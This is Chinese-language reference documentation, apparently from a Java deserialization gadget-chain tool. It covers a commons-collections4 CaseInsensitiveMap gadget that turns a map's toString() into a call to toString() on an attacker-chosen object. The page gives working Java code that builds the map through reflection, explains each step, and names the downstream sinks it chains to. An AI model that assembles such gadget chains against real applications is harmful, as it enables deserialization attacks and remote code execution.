- 类别:javanative 别名:— 优先级:未标注(默认)
- 作者:Unam4、Ar3h
- 依赖:
org.apache.commons:commons-collections4:4.x
commons-collections4 版本的「任意 toString 调用」原语:用 AbstractHashedMap$HashEntry + CaseInsensitiveMap 构造一个被 toString() 时会调用内层对象 toString() 的 Map,为链条衔接 toString sink 提供跳板。等价于 CaseInsensitiveMap3ToString 的 CC4 版。
- 入口
tags:JavaNativeDeserialize—— 产物是可原生反序列化的CaseInsensitiveMap。 - 衔接
nextTags:ToString—— 之后接一个由toString()触发的 gadget。 excludes:无。
public Object getObject(Object toStringObj) throws Exception {
CaseInsensitiveMap map = new CaseInsensitiveMap();
map.put("gadget-chains", "1"); // 先放一个正常元素,令 size=1、初始化 data 表
Class<?> hashEntryClazz = Class.forName("org.apache.commons.collections4.map.AbstractHashedMap$HashEntry");
Object hashEntry = Reflections.createWithoutConstructor(hashEntryClazz); // 无构造器造一个空 HashEntry
Object hashEntryArray = Array.newInstance(hashEntryClazz, 1);
Array.set(hashEntryArray, 0, hashEntry);
Reflections.setFieldValue(hashEntry, "key", toStringObj); // 关键:把内层对象写进 key 字段
Reflections.setFieldValue(map, "data", hashEntryArray); // 用恶意 data 表替换
return map;
}
@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
return this.getObject(chain.doCreate(context));
}逐段说明:
- 与 CC3 版不同,这里先
new CaseInsensitiveMap()并put("gadget-chains","1"),借正常的put让size变为 1、data表被正确初始化,避免手工设置size。 - 再
createWithoutConstructor造一个空的HashEntry,仅反射写入其key字段为目标对象(value保持默认),放进长度为 1 的HashEntry[]。 - 最后用这个只含恶意节点的数组反射替换
map的data,覆盖掉刚才的正常元素。 - 触发点:当外层调用该 map 的
toString()时,AbstractHashedMap的 toString 遍历 entry 并拼接key + "=" + value,其中key.toString()即toStringObj.toString()被调用,控制权转交下游 sink。
本类无 @Param。触发目标对象由链上下文注入。
- 适用
commons-collections4 4.x(org.apache.commons:commons-collections4:4.x)。CC4 的包名为org.apache.commons.collections4.*,与 CC3 独立,二者可共存于不同应用。 - 反编译头部的
Could not load ... org.apache.commons.collections4.map.CaseInsensitiveMap注释属正常(构建环境缺该第三方类),不影响逻辑。 - 与 CC3 版差异:CC4 版只写
key,靠先put再覆盖data的方式初始化底层结构。
自由构件,未直接出现在 51 条预设链中。
- 下游(
nextTags=ToString):以toString()触发的 gadget(XString*、XalanXString*、BadAttributeValueExpExceptionToString等)。 - 同族:CaseInsensitiveMap3ToString(CC3 版本)。